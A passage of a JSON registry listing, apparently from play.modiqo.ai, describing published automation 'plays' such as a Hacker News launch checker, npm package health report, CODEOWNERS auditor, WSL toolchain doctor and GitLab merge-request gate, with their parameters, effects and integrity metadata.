see.","example":"1f0a2b3c4d5e6f708192a3b4c5d6e7f8"}],"execution":{"adapters":[{"id":"modiqo/notion-mcp","name":"notion-mcp","version":null,"credential_status":"none"},{"id":"notion-mcp","name":"notion-mcp","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":["create_page_root","create_page_child"],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":true},"integrity":{"digest":"sha256:0163becab74abbe6cc4940e0f2f5f24c89ea3e96b760bb97454097425c5f2b22","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":2,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":4,"width":2,"fan_out":0,"for_each_steps":0,"complexity":12,"apis":[{"adapter":"notion-mcp","steps":2,"methods":["notion-create-pages"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/notion-mcp","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":["create_page_root","create_page_child"],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/himanshu-jha/hn-launch-reality-check@0.2.1","reference":"himanshu-jha/hn-launch-reality-check@0.2.1","uri":"https://play.modiqo.ai/himanshu-jha/hn-launch-reality-check@0.2.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/hn-launch-reality-check@0.2.1","name":"hn-launch-reality-check","title":"hn-launch-reality-check","description":"Compares the current score and comment distributions of up to the first 40 ranked items from Show HN, Ask HN, and the front page before a launch. Each category is reduced independently, so one failed category remains NOT READ while successful categories keep their medians, quartiles, sample sizes, and share below a configurable quiet threshold. Deleted, dead, and unavailable item stubs shrink the disclosed sample instead of becoming zero-score posts. The result explicitly describes a live, rank-biased slice—not every listed post, not a historical random sample, and not a forecast for your post. Needs no account, credential, or key. Read-only: it reads public posts and writes or posts nothing.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-founders","domain-startup","tool-hacker-news","launch","benchmarks","research"],"primary_domain":"domain-startup","author":"himanshu748","version":"0.2.1","published_at":"2026-09-04T14:52:19.698482+00:00","visibility":"public","quality_score":1,"size_bytes":12697,"license":"MIT","stats":{"downloads":8,"installs":0},"steps":{"count":9,"names":["ask_ids","top_ids","show_ids","ask_items","top_items","show_items","compare_ask","compare_top","compare_show"]},"parameters":[{"name":"quiet_below","type":"string","required":false,"default":"10","description":"Points below which a post counts as having gone unnoticed. The share under this is the number the front page hides.","example":"10"}],"execution":{"adapters":[{"id":"modiqo/hacker-news-api","name":"hacker-news-api","version":null,"credential_status":"none"},{"id":"hacker-news-api","name":"hacker-news-api","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c9b09dacae28125571dbeef319100f01b53e7873c871ce8ac92502535987fe5b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":6,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":3,"width":3,"fan_out":1,"for_each_steps":3,"complexity":18,"apis":[{"adapter":"hacker-news-api","steps":6,"methods":["askstories.json","getItem","showstories.json","topstories.json"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/hacker-news-api","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/amanm006/dataset-eval-sanity-check@1.1.1","reference":"amanm006/dataset-eval-sanity-check@1.1.1","uri":"https://play.modiqo.ai/amanm006/dataset-eval-sanity-check@1.1.1","manifest_uri":"https://play.modiqo.ai/amanm006/dataset-eval-sanity-check@1.1.1","name":"dataset-eval-sanity-check","title":"dataset-eval-sanity-check","description":"Check a JSONL dataset for duplicate rows, missing required keys, and text length outliers with exact row citations.","owner":{"kind":"org","slug":"amanm006"},"registry_organization":"amanm006","tags":[],"primary_domain":"domain-uncategorized","author":"amanm006","version":"1.1.1","published_at":"2026-09-04T10:13:11.397712+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":3648,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":1,"names":["dataset_check"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e843905da1724eb17f3ec15c7b0bed875732f13673b6eb07abab148f7db456b9","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/tusharshahi/npm-package-health@0.1.2","reference":"tusharshahi/npm-package-health@0.1.2","uri":"https://play.modiqo.ai/tusharshahi/npm-package-health@0.1.2","manifest_uri":"https://play.modiqo.ai/tusharshahi/npm-package-health@0.1.2","name":"npm-package-health","title":"npm-package-health","description":"Health report for any npm package. Downloads, license, maintainers, CVEs. Grade A-F.","owner":{"kind":"user","slug":"tusharshahi"},"registry_organization":"tusharshahi","tags":[],"primary_domain":"domain-uncategorized","author":"tusharshahi","version":"0.1.2","published_at":"2026-09-03T21:21:33.584141+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":3374,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":4,"names":["curl","curl_2","curl_3","curl_4"]},"parameters":[{"name":"package_name","type":"string","required":true}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f2c6b96facb618c64de68d4a25de22fa51df7d04e87a7e1fc13df809b62e7827","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"curl","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/chiru/play-score-fix@0.1.1","reference":"chiru/play-score-fix@0.1.1","uri":"https://play.modiqo.ai/chiru/play-score-fix@0.1.1","manifest_uri":"https://play.modiqo.ai/chiru/play-score-fix@0.1.1","name":"play-score-fix","title":"play-score-fix","description":"Score your own Play before you publish it, and get the exact text that fixes what is missing. Runs the real rote scorer rather than guessing, then turns each failing signal into paste-ready frontmatter written against your play's own name and step list. The eight signals are worth fixed points and four of them are pure metadata, so most plays sitting below a full mark are about twenty minutes of frontmatter away from one. Reports the points on the table and orders the work by what is worth most. Reads your play files and writes nothing. Point it at a play, a directory of plays, or the directory you are standing in.","owner":{"kind":"user","slug":"chiru"},"registry_organization":"chiru","tags":["domain-rote-authoring","job-quality-score-repair","audience-play-authors","effect-read-only"],"primary_domain":"domain-rote-authoring","author":"chiru","version":"0.1.1","published_at":"2026-09-02T14:36:59.384812+00:00","visibility":"public","quality_score":1,"size_bytes":12457,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":5,"names":["score","locate","report","inspect","prescribe"]},"parameters":[{"name":"path","type":"string","required":false,"default":".","description":"A play file, a play directory, or a directory holding several plays. All three work. This is the value that changes between runs.","example":"~/.rote/flows/chiru"},{"name":"namespace","type":"string","required":false,"default":"","description":"Your registry namespace, used to write the source URL the provenance signal wants. Leave it empty and the URL comes back as a placeholder you fill in yourself.","example":"chiru"},{"name":"show_paste","type":"string","required":false,"default":"true","description":"Print the paste-ready frontmatter for each gap. Turn it off for a short verdict when you are checking many plays at once.","values":["true","false"],"example":"false"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1454393d42189daec6e6071a8d4a24dacbca695f3ebf292ab1fc4048986ced9a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":2,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sahilnadaf/release-notes-from-tag-range@0.2.5","reference":"sahilnadaf/release-notes-from-tag-range@0.2.5","uri":"https://play.modiqo.ai/sahilnadaf/release-notes-from-tag-range@0.2.5","manifest_uri":"https://play.modiqo.ai/sahilnadaf/release-notes-from-tag-range@0.2.5","name":"release-notes-from-tag-range","title":"release-notes-from-tag-range","description":"Release notes from a tag range on a public GitHub repo: categorized changelog, evidence map, and validation counts. Unauthenticated GitHub REST only, strictly read-only.","owner":{"kind":"user","slug":"sahilnadaf"},"registry_organization":"sahilnadaf","tags":["github","changelog","release-notes","typescript"],"primary_domain":"domain-uncategorized","author":"sahil","version":"0.2.5","published_at":"2026-09-01T18:16:52.395297+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":7543,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":1,"names":["build_report"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Owner/name of a PUBLIC GitHub repository"},{"name":"from_ref","type":"string","required":false,"description":"From ref (tag or SHA); required unless since_last_tag=true"},{"name":"to_ref","type":"string","required":false,"default":"HEAD","description":"To ref (tag, SHA, or HEAD)"},{"name":"since_last_tag","type":"boolean","required":false,"default":"false","description":"Resolve from_ref automatically as the most recent tag"},{"name":"token","type":"string","required":false,"description":"Optional GitHub token for higher rate limits (default: unauthenticated)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b939acad07c902f41ec325b28e42e545458cea9c0d54edbf2b42630bd55d65f1","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"deno","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/cmdr-chara/documentation-contract-referee@0.2.0","reference":"cmdr-chara/documentation-contract-referee@0.2.0","uri":"https://play.modiqo.ai/cmdr-chara/documentation-contract-referee@0.2.0","manifest_uri":"https://play.modiqo.ai/cmdr-chara/documentation-contract-referee@0.2.0","name":"documentation-contract-referee","title":"documentation-contract-referee","description":"Referees executable claims in README files and runbooks against repository evidence: commands, prerequisites, Markdown anchors, package scripts, Make targets, Just recipes, package manager, versions, and environment templates. Returns a compact contract verdict with coverage, evidence, and fixes. Credential-free and never executes copied documentation commands.","owner":{"kind":"user","slug":"cmdr-chara"},"registry_organization":"cmdr-chara","tags":["domain-devtools","job-documentation-contracts","job-release-readiness","audience-developers","effect-read-only"],"primary_domain":"domain-devtools","author":"cmdr-chara","version":"0.2.0","published_at":"2026-09-01T15:46:58.738118+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":12403,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":4,"names":["judge_contract","validate_input","scan_repository","scan_documentation"]},"parameters":[{"name":"repo_path","type":"string","required":false,"default":".","description":"Local repository path to inspect.","example":"."},{"name":"docs_paths","type":"string","required":false,"default":"README.md,docs","description":"Comma-separated repository-relative documentation files or directories.","example":"README.md,docs,runbooks"},{"name":"max_findings","type":"integer","required":false,"default":"3","description":"Maximum number of prioritized findings to display, from 1 to 10.","example":"3"},{"name":"baseline_sha","type":"string","required":false,"default":"","description":"Optional git commit used to flag executable-contract changes made without documentation changes.","example":"HEAD~1"},{"name":"verification","type":"string","required":false,"default":"static","description":"Use static checks only, or execute reconstructed allow-listed CLI help forms without running copied commands.","values":["static","safe-help"],"example":"safe-help"},{"name":"demo","type":"string","required":false,"default":"","description":"Optional deterministic built-in demonstration; leave empty to inspect repo_path.","values":["","coherent","stale"],"example":"stale"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b386bad8aa139f28856699f0c247a2de1455061c045ef67f2434b0fb084fbb49","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/pugarhuda/codeowners-drift@0.3.2","reference":"pugarhuda/codeowners-drift@0.3.2","uri":"https://play.modiqo.ai/pugarhuda/codeowners-drift@0.3.2","manifest_uri":"https://play.modiqo.ai/pugarhuda/codeowners-drift@0.3.2","name":"codeowners-drift","title":"codeowners-drift","description":"Audit a repository's CODEOWNERS file against the files it actually tracks. Read-only, no credentials, no adapters, and nothing the repository ships is ever executed. A CODEOWNERS file is written once and then the tree moves out from under it, so review routing silently stops working — a rule points at a directory that was renamed, a broad rule added at the bottom quietly overrides every rule above it because the LAST match wins, and half the repository ends up with no owner and no required reviewer. This reports each rule with how many tracked files it matches and how many it still owns after later rules override it, names the rules that match nothing (and, on a full local checkout, the last commit and date the path still existed), the rules that are fully shadowed, lists every file no rule covers grouped by top-level directory with a coverage percentage, and flags syntax the forge will reject — negation, malformed owner handles, GitLab section headers in a GitHub file. It reads the one file GitHub actually uses when several are present and says which. Matching follows GitHub's documented semantics, including that docs/* does not descend into subdirectories. GitLab files are recognised too (a .gitlab/CODEOWNERS or [Section] headers) and evaluated the GitLab way — sections independent, optional ^[Sections] and [Section][n] approval counts read, a rule with no owner inheriting the section default. With verify_owners=true it asks api.github.com anonymously whether each @user and @org exists and reports missing handles, while saying plainly that team membership needs a token and is never claimed. What it cannot check is stated in the output — whether a team has write access and whether branch protection actually requires a code owner review need an authenticated API, so they are listed as not checked rather than assumed fine. A local path is inspected in place; a URL is shallow-cloned to a temp directory.","owner":{"kind":"user","slug":"pugarhuda"},"registry_organization":"pugarhuda","tags":["domain-code-analysis","job-code-review","audience-developers","effect-read-only"],"primary_domain":"domain-code-analysis","author":"pugarhuda","version":"0.3.2","published_at":"2026-09-06T14:06:54.41166+00:00","visibility":"public","quality_score":1,"size_bytes":12702,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":2,"names":["audit","resolve"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Repository to audit: a git URL (https://, ssh://, git@host:owner/name) or a path to a local checkout","example":"https://github.com/vuejs/core"},{"name":"branch","type":"string","required":false,"default":"","description":"Branch or tag to inspect. Ignored for a local path; defaults to the repository default branch."},{"name":"verify_owners","type":"string","required":false,"default":"false","description":"`true` asks api.github.com anonymously whether each @user and @org exists (60 requests per hour, capped at 30 owners). Team membership needs a token and is never claimed."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b1152f8c986ea6d272d337ce25d6798b8cbb7c2543d4d8b6eb5626249bded692","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1},{"name":"sh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/sai0000/play-quality-doctor@0.3.3","reference":"sai0000/play-quality-doctor@0.3.3","uri":"https://play.modiqo.ai/sai0000/play-quality-doctor@0.3.3","manifest_uri":"https://play.modiqo.ai/sai0000/play-quality-doctor@0.3.3","name":"play-quality-doctor","title":"play-quality-doctor","description":"Runs rote's own quality scorer across every Play you have, ranks the signals by what they are costing you, and tells you what to type to clear each one. rote play score is authoritative for one Play; what it does not do is run over a whole shelf, total the damage, or say which edit fixes a finding whose required shape is not obvious from the wording. Of the ten Plays installed when this was written, six scored below 1.00 and every one was reported as a clean pass by rote play validate: zero errors, zero warnings, no mention that anything was unsatisfied. That gap is the reason this exists. Two findings are worth stating because their wording does not lead you to the fix. When frontmatter_completeness reports missing optional: tags, the required shape is a top-level tags list; tags under metadata.discoverability.tags do not count, and that is exactly the shape rote workspace export generates, so a Play can carry nine tags and still be marked down. And provenance_url reads a top-level source field rather than provenance.url. It computes nothing itself: run rote play score on any single Play and the numbers will match, because they are the same numbers. Read-only, no network, no credentials.","owner":{"kind":"user","slug":"sai0000"},"registry_organization":"sai0000","tags":["domain-rote-plays","audience-play-authors","job-quality-audit","quality-score","rubric","frontmatter","tool-shell","effect-read-only","audience-developers","domain-engineering","developer-tools","python","no-credentials","no-api-key","offline","local-only"],"primary_domain":"domain-rote-plays","author":"sai0000","version":"0.3.3","published_at":"2026-09-06T14:05:58.801389+00:00","visibility":"public","quality_score":1,"size_bytes":9989,"license":"MIT","stats":{"downloads":7,"installs":0},"steps":{"count":3,"names":["score_plays","locate_plays","render_report"]},"parameters":[{"name":"play","type":"string","required":false,"default":"all","description":"What to audit: all for every locally installed package, an owner/name reference such as modiqo/hello, or a path to a play package directory."},{"name":"flows_root","type":"string","required":false,"default":"~/.rote/flows","description":"Directory holding installed packages. Point it at another rote store to audit that one instead."},{"name":"format","type":"string","required":false,"default":"text","description":"text for the human report, json for a machine-readable one suitable for a release gate.","values":["text","json"]},{"name":"min_score","type":"string","required":false,"default":"1.0","description":"Only list plays predicted below this score. Totals still cover every audited play, so filtering never hides how many were checked."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:08fbd6405a1d1cf93e31cb34c6859f7105c3e3fb0fc112a19d4c680105e761ee","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sai0000/wsl-toolchain-doctor@0.2.4","reference":"sai0000/wsl-toolchain-doctor@0.2.4","uri":"https://play.modiqo.ai/sai0000/wsl-toolchain-doctor@0.2.4","manifest_uri":"https://play.modiqo.ai/sai0000/wsl-toolchain-doctor@0.2.4","name":"wsl-toolchain-doctor","title":"wsl-toolchain-doctor","description":"Answers one question on a WSL machine: which of the commands you type are not the program you think they are. Windows directories are appended to the Linux PATH by default, so three unrelated failures look identical in a terminal and only one of them is shadowing. A command can resolve to a Windows shim and run with Windows path semantics, which is why docker with a bind mount hands a Windows client a Linux path it cannot see. It can fail to resolve at all while its .exe sits on PATH, so the shell reports command not found about a tool that is plainly installed. Or it can be a symlink into /mnt/wsl left by a Docker Desktop style integration, which resolves only while that is running. Telling those three apart is the point, because the fix for each is different. It names the winning path and what it beat, then the setting behind it: appendWindowsPath, mounts without the metadata option so chmod silently does nothing, case-insensitive mounts, and whether your files sit on the slow 9p filesystem. Read-only, needs only python3, repairs nothing. Off WSL it returns one applicability verdict instead of inventing findings.","owner":{"kind":"user","slug":"sai0000"},"registry_organization":"sai0000","tags":["wsl","wsl2","domain-cross-platform","tool-shell","effect-read-only","path","toolchain","diagnostics","windows-interop","audience-developers","domain-engineering","developer-tools","python","no-credentials","no-api-key","offline","local-only","engineering-workflows"],"primary_domain":"domain-cross-platform","author":"sai0000","version":"0.2.4","published_at":"2026-09-06T14:05:48.336561+00:00","visibility":"public","quality_score":1,"size_bytes":15783,"license":"MIT","stats":{"downloads":7,"installs":0},"steps":{"count":4,"names":["detect_platform","render_briefing","resolve_commands","read_configuration"]},"parameters":[{"name":"commands","type":"string","required":false,"default":"","description":"Optional comma-separated extra command names to check, for example poetry,rbenv,deno. The built-in watchlist already covers the common toolchain."},{"name":"path_override","type":"string","required":false,"default":"","description":"A PATH string to inspect instead of this shell's own. Paste the PATH from a login shell, an editor terminal, or a CI runner to ask the question about that environment rather than this one."},{"name":"format","type":"string","required":false,"default":"text","description":"text for the human briefing, json for a machine-readable report suitable for piping into other tooling.","values":["text","json"]},{"name":"min_severity","type":"string","required":false,"default":"info","description":"Lowest severity to report. Counts always cover every severity, so filtering never makes an unchecked machine look clean.","values":["high","medium","low","info"]}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:40125d1bba8d374987f6caf473258b6f3e4d37dca5116fcdc7d8d10cf9d7eaca","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":3,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/princepanchani/gitlab-mr-gate@1.4.2","reference":"princepanchani/gitlab-mr-gate@1.4.2","uri":"https://play.modiqo.ai/princepanchani/gitlab-mr-gate@1.4.2","manifest_uri":"https://play.modiqo.ai/princepanchani/gitlab-mr-gate@1.4.2","name":"gitlab-mr-gate","title":"gitlab-mr-gate","description":"Can this GitLab merge request merge? If not, what is blocking it, and whose move is it?\n\nTRY IT IN ONE LINE - no arguments, no token, no setup:\n\n    rote play run princepanchani/gitlab-mr-gate\n\nThat gates a real public merge request and prints a full verdict in about six\nseconds. Then point it at your own, or at self-hosted GitLab:\n\n    rote play run princepanchani/gitlab-mr-gate project=your-group/your-repo mr=123\n    rote play run princepanchani/gitlab-mr-gate \\\n        gitlab_host=invent.kde.org project=frameworks/kio mr=2417\n\nWHAT YOU GET\n\n  VERDICT     MERGEABLE, BLOCKED, MERGEABLE_WITH_UNKNOWNS or NOT_OPEN.\n  MERGE PATH  Not just what is wrong - what has to HAPPEN, in the order it\n              can happen, and who does each part. Branch work precedes\n              approvals, because the next push commonly resets them.\n  WHOSE MOVE  One name: who the merge is waiting on right now.\n  EVIDENCE    Every blocker names the field that proves it, so \"blocked\"\n              becomes \"needs 1 approval from one of 77 eligible approvers of\n              /app/assets/\".\n\nGitLab publishes detailed_merge_status, its own one-field diagnosis of why a\nmerge is refused, which GitHub has no equivalent of. This play reads it - then\nuses it as an independent witness against its own verdict. Pass required_labels\nand forbidden_labels to gate your team's rules too.\n\nHOW IT REFUSES TO LIE TO YOU\n\n  - 47 self-check cases run BEFORE any live data is judged. If one fails the\n    verdict is withheld entirely.\n  - A verify stage re-derives the headline claims by two routes the gate never\n    used. CONTRADICTED means trust GitLab, not this play.\n  - A dimension it could not read is unknown, never clean, and the stage ledger\n    names the route each answer came by.\n  - Titles and descriptions are author-controlled text, read by no rule.\n\nVERIFIED ON SELF-HOSTED GITLAB, not just gitlab.com: five independent instances\n(KDE, Debian, GNOME, freedesktop, VideoLAN), all Community Edition, where the\napproval-rules endpoint does not exist and returns 404 while every other\ndimension reads fine. Approval rules are then reported as unknown rather than\nmistaken for a missing project.\n\nCOMPANION PLAYS. To sweep EVERY open merge request instead of one, use\nprincepanchani/gitlab-mr-queue. When the blocker is a red pipeline,\nprincepanchani/gitlab-pipeline-triage says which job failed and whether it also\nfails on the target branch.\n\nREAD ONLY - nothing is approved, merged, rebased, commented or labelled. Needs\nonly python3. No credentials on public projects; a private or self-hosted\nproject uses your own GITLAB_TOKEN from the environment, sent as a header, never\nin a query string, never printed.\n\nKNOWN LIMITS: the token path is exercised end to end against a private\ngitlab.com project, but a token against a self-hosted instance is untested - the\nfive instances above were read anonymously.","owner":{"kind":"user","slug":"princepanchani"},"registry_organization":"princepanchani","tags":["domain-code-review","job-merge-readiness","platform-gitlab","audience-developers","effect-read-only","tool-shell"],"primary_domain":"domain-code-review","author":"Prince Panchani (github.com/PrinceXDev)","version":"1.4.2","published_at":"2026-09-06T14:05:35.071061+00:00","visibility":"public","quality_score":1,"size_bytes":29583,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":9,"names":["verify","fetch_mr","self_check","validate_input","compute_verdict","fetch_approvals","fetch_pipelines","fetch_discussions","fetch_approval_state"]},"parameters":[{"name":"project","type":"string","required":false,"default":"gitlab-org/gitlab","description":"GitLab project path or numeric id. Left alone it runs the built-in demo against a real public merge request, so you can see a verdict before you have decided whether to point this at one of yours.","example":"gitlab-org/gitlab"},{"name":"mr","type":"string","required":false,"default":"143468","description":"Merge request iid, the number shown in the merge request URL. Part of the built-in demo when left alone; set it together with project.","example":"143468"},{"name":"gitlab_host","type":"string","required":false,"default":"gitlab.com","description":"GitLab hostname; set this for a self-hosted instance","example":"gitlab.com"},{"name":"required_labels","type":"string","required":false,"default":"","description":"Comma separated labels this merge request must carry to be considered ready","example":"Status::Ready"},{"name":"forbidden_labels","type":"string","required":false,"default":"","description":"Comma separated labels that block a merge when present","example":"Do Not Merge"},{"name":"require_pipeline","type":"string","required":false,"default":"auto","description":"auto asks GitLab whether a pipeline is mandatory; true or false override it","example":"auto"},{"name":"timeout_s","type":"integer","required":false,"default":"25","description":"Per request HTTP timeout in seconds, clamped to 1-120","example":"25"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8d312f153a903fb2d055e05efa292df78df9ff9f4bd004b929fbc4f594518f82","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":0,"shell":9,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":5,"fan_out":0,"for_each_steps":0,"complexity":9,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":9}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ankurrawat/erdtree-s3-micro-deploy@4.16.26","reference":"ankurrawat/erdtree-s3-micro-deploy@4.16.26","uri":"https://play.modiqo.ai/ankurrawat/erdtree-s3-micro-deploy@4.16.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/erdtree-s3-micro-deploy@4.16.26","name":"erdtree-s3-micro-deploy","title":"erdtree-s3-micro-deploy","description":"Deploying static assets to AWS S3 should take five seconds, not fifteen manual AWS console clicks. This bundles your frontend build, applies gzip compression headers, sets immutable Cache-Control tags, uploads to S3 with SHA-256 integrity, and invalidates CloudFront edge caches in one fluid 